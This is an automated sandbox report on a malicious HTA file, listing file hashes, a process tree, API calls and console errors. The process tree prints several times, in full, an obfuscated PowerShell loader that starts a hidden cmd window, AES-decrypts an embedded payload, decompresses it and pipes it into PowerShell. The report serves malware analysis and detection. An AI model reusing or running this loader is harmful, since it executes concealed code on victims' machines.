popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

more_page.hta

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Oct. 31, 2023, 7:52 a.m. Oct. 31, 2023, 7:55 a.m.
Size 31.4KB
Type HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5 27201c15277b2147ec45620e60e73833
SHA256 2b4690f3bd7ca9395cffd6977472e858b1febc21816ff67b8ca6de740de5b3a6
CRC32 AE266D93
ssdeep 192:F+w6f84TPNUtQpeDPlv2X7ZWJFw659JmIOZSPlFihwdrVPBgaEkU3xDV:F+RfsolV
Yara None matched

  • mshta.exe "C:\Windows\System32\mshta.exe" C:\Users\test22\AppData\Local\Temp\more_page.hta

    2536

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $kNko = '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';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp | powershell - }

      2620

      • cmd.exe "C:\Windows\system32\cmd.exe" /c powershell.exe $kNko = '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';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp | powershell -

        2764

        • powershell.exe powershell.exe $kNko = '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';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp

          2864

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: The term 'Method' is not recognized as the name of a cmdlet, function, script f
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: ile, or operable program. Check the spelling of the name, or if a path was incl
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: uded, verify that the path is correct and try again.
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: At line:1 char:7
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: + Method <<<< invocation failed because [System.Security.Cryptography.AesManag
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: ed] does
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Method:String) [], CommandNotFo
